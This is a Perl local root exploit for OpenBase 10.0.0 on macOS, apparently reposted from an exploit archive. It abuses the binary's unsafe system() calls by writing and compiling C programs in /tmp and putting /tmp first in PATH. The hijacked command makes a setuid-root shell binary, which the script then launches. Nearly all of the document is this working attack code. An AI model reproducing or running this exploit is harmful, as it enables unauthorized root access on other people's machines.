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Xcode OpenBase <= 10.0.0 (unsafe system call) Local Root Exploit (OSX)
====================================================================== Xcode OpenBase <= 10.0.0 (unsafe system call) Local Root Exploit (OSX) ====================================================================== #!/usr/bin/perl # # http://www.digitalmunition.com # written by kf (kf_lists[at]digitalmunition[dot]com) # # <= ftp://www.openbase.com/pub/OpenBase_10.0 (vulnerable) ? # # This is some fairly blatant and retarded use of system() # # cd cp chmod chown rm mkdir and killall appear as strings in the binary hrmm can you cay system() ! # -restart -MachLaunch -launch -noexit -install_plugins -kill -install -uninstall and -deactivate all # *may* be used to trigger these issues. # # I don't feel like seeing which flags call which binaries... just 3 is plenty to prove the point. # # Tested against OpenBase10.0.0_MacOSX.dmg $binpath = "/Library/OpenBase/bin/openexec"; # Typical location. $tgts{"0"} = "cp:$binpath -install"; $tgts{"1"} = "killall:$binpath -kill"; $tgts{"2"} = "rm:$binpath -uninstall"; unless (($target) = @ARGV) { print "\n\nUsage: $0 <target> \n\nTargets:\n\n"; foreach $key (sort(keys %tgts)) { ($a,$b) = split(/\:/,$tgts{"$key"}); print "\t$key . $a - $b\n"; } print "\n"; exit 1; } $ret = pack("l", ($retval)); ($a,$b) = split(/\:/,$tgts{"$target"}); print "*** Target: $a - $b\n"; open(OP,">/tmp/finisterre.c"); printf OP "main()\n"; printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"chown root: /tmp/pwns ; chmod 4775 /tmp/pwns\"); }\n"; open(OP,">/tmp/pwns.c"); printf OP "main()\n"; printf OP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); }\n"; system("gcc -o /tmp/finisterre /tmp/finisterre.c"); system("gcc -o /tmp/pwns /tmp/pwns.c"); system("echo /bin/cp /tmp/finisterre /tmp/$a"); system("/bin/cp /tmp/finisterre /tmp/$a"); system("export PATH=/tmp:\$PATH; $b"); system("/tmp/pwns"); # 0day.today [2024-11-15] #